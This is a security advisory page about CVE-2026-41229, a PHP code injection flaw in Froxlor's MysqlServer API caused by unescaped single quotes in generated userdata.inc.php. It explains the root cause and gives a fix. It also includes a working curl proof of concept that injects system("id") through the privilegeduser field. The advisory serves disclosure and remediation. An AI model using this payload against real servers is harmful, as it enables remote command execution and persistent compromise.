CVE-2026-41229: Froxlor has a PHP Code Injection via Unescaped Single Quotes in userdata.inc.php Generation (MysqlServer API)

Published Apr 16, 2026
·
Updated

Summary

PhpHelper::parseArrayToString() writes string values into single-quoted PHP string literals without escaping single quotes. When an admin with changeserversettings permission adds or updates a MySQL server via the API, the privilegeduser parameter (which has no input validation) is written unescaped into lib/userdata.inc.php. Since this file is required on every request via Database::getDB(), an attacker can inject arbitrary PHP code that executes as the web server user on every subsequent page load.

Details

The root cause is in PhpHelper::parseArrayToString() at lib/Froxlor/PhpHelper.php:486:

php // lib/Froxlor/PhpHelper.php:475-487 foreach ($array as $key => $value) { if (!isarray($value)) { if (isbool($value)) { $str .= self::tabPrefix($depth, sprintf("'%s' => %s,\n", $key, $value ? 'true' : 'false')); } elseif (isint($value)) { $str .= self::tabPrefix($depth, "'{$key}' => $value,\n"); } else { if ($key == 'password') { // special case for passwords (nowdoc) $str .= self::tabPrefix($depth, "'{$key}' => <<<'EOT'\n{$value}\nEOT,\n"); } else { // VULNERABLE: $value interpolated without escaping single quotes $str .= self::tabPrefix($depth, "'{$key}' => '{$value}',\n"); } } } }

Note that the password key receives special treatment via nowdoc syntax (line 484), which is safe because nowdoc does not interpret any escape sequences or variable interpolation. However, all other string keys — including user, caption, and caFile — are written directly into single-quoted PHP string literals with no escaping.

The attack path through MysqlServer::add() (lib/Froxlor/Api/Commands/MysqlServer.php:80):

1. validateAccess() (line 82) checks the caller is an admin with changeserversettings 2. privilegeduser is read via getParam() at line 88 with no validation applied 3. mysqlca is also read with no validation at line 86 4. The values are placed into the $sqlroot array at lines 150-160 5. generateNewUserData() is called at line 162, which calls PhpHelper::parseArrayToPhpFile() → parseArrayToString() 6. The result is written to lib/userdata.inc.php via fileputcontents() (line 548) 7. Setting testconnection=0 (line 92, 110) skips the PDO connection test, so no valid MySQL credentials are needed

The generated userdata.inc.php is loaded on every request via Database::getDB() at lib/Froxlor/Database/Database.php:431:

php require Froxlor::getInstallDir() . "/lib/userdata.inc.php";

The MysqlServer::update() method (line 337) has the identical vulnerability with privilegeduser at line 387.

PoC

Step 1: Inject PHP code via MysqlServer.add API

bash curl -s -X POST https://froxlor.example/api.php \ -u 'ADMINAPIKEY:ADMINAPISECRET' \ -H 'Content-Type: application/json' \ -d '{ "command": "MysqlServer.add", "params": { "mysqlhost": "127.0.0.1", "mysqlport": 3306, "privilegeduser": "x'\''.system(\"id\").'\''", "privilegedpassword": "anything", "description": "test", "testconnection": 0 } }'

This writes the following into lib/userdata.inc.php:

php 'user' => 'x'.system("id").'',

Step 2: Trigger code execution

Any subsequent HTTP request to the Froxlor panel triggers Database::getDB(), which requires userdata.inc.php, executing system("id") as the web server user:

bash curl -s https://froxlor.example/

The id output will appear in the response (or can be captured via out-of-band methods for blind execution).

Step 3: Cleanup (attacker would also clean up)

The injected code runs on every request until userdata.inc.php is regenerated or manually fixed.

Impact

An admin with changeserversettings permission can escalate to arbitrary OS command execution as the web server user. This represents a scope change from the Froxlor application boundary to the underlying operating system:

- Full server compromise: Execute arbitrary commands as the web server user (typically www-data) - Data exfiltration: Read all hosted customer data, databases credentials, TLS private keys - Lateral movement: Access all MySQL databases using credentials stored in userdata.inc.php - Persistent backdoor: The injected code executes on every request, providing persistent access - Denial of service: Malformed PHP in userdata.inc.php can break the entire panel

The description field (validated with REGEXDESCTEXT = /^[^\0\r\n<>]$/) and mysqlca field (no validation) are also injectable vectors through the same code path.

Recommended Fix

Escape single quotes in PhpHelper::parseArrayToString() before interpolating values into single-quoted PHP string literals. In single-quoted PHP strings, only \' and \\ are interpreted, so both must be escaped:

php // lib/Froxlor/PhpHelper.php:486 // Before (vulnerable): $str .= self::tabPrefix($depth, "'{$key}' => '{$value}',\n");

// After (fixed) - escape backslashes first, then single quotes: $escaped = strreplace(['\\', "'"], ['\\\\', "\\'"], $value); $str .= self::tabPrefix($depth, "'{$key}' => '{$escaped}',\n");

Alternatively, use the same nowdoc syntax already used for passwords for all string values, which provides complete injection safety:

php // Apply nowdoc to all string values, not just passwords: $str .= self::tabPrefix($depth, "'{$key}' => <<<'EOT'\n{$value}\nEOT,\n");

Additionally, consider adding input validation to privilegeduser and mysqlca in MysqlServer::add() and MysqlServer::update() as defense-in-depth.

Other sources

Froxlor has a PHP Code Injection via Unescaped Single Quotes in userdata.inc.php Generation (MysqlServer API)

— Packagist

Froxlor is open source server administration software. Prior to version 2.3.6, PhpHelper::parseArrayToString() writes string values into single-quoted PHP string literals without escaping single quotes. When an admin with changeserversettings permission adds or updates a MySQL server via the API, the privilegeduser parameter (which has no input validation) is written unescaped into lib/userdata.inc.php. Since this file is required on every request via Database::getDB(), an attacker can inject arbitrary PHP code that executes as the web server user on every subsequent page load. Version 2.3.6 contains a patch.

— MITRE

Affected Software

4 affected componentsFixes available
Froxlor Froxlor<2.3.6
Froxlor Froxlor<2.3.6
composer/froxlor/froxlor<=2.3.5
composer/froxlor/froxlor<=2.3.5
2.3.6

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade composer/froxlor/froxlor to a version that resolves this vulnerability.

    Fixed in 2.3.6
  2. Upgrade

    Upgrade Froxlor to a version that resolves this vulnerability.

    Fixed in 2.3.6

Event History

Apr 16, 2026
Advisory Published
via GitHub·12:50 AM
Data Sourced
via GitHub·12:50 AM
DescriptionSeverityWeaknessAffected Software
Data Sourced
via Packagist·12:50 AM
DescriptionSeverityAffected Software
Apr 23, 2026
CVE Published
via MITRE·03:44 AM
Data Sourced
via MITRE·03:44 AM
DescriptionSeverityWeakness
Data Sourced
via NVD·04:16 AM
RemedyDescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2026-41229?

CVE-2026-41229 has a medium severity level due to its potential for PHP code injection under certain conditions.

2

How do I fix CVE-2026-41229?

To fix CVE-2026-41229, upgrade to Froxlor version 2.3.6 or later, which ensures proper escaping of single quotes.

3

What versions of Froxlor are affected by CVE-2026-41229?

Froxlor versions prior to 2.3.6 are affected by CVE-2026-41229.

4

What type of vulnerability is CVE-2026-41229?

CVE-2026-41229 is classified as a PHP code injection vulnerability.

5

What is the impact of CVE-2026-41229 on users?

The impact of CVE-2026-41229 can allow attackers to execute arbitrary PHP code, potentially compromising server security.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203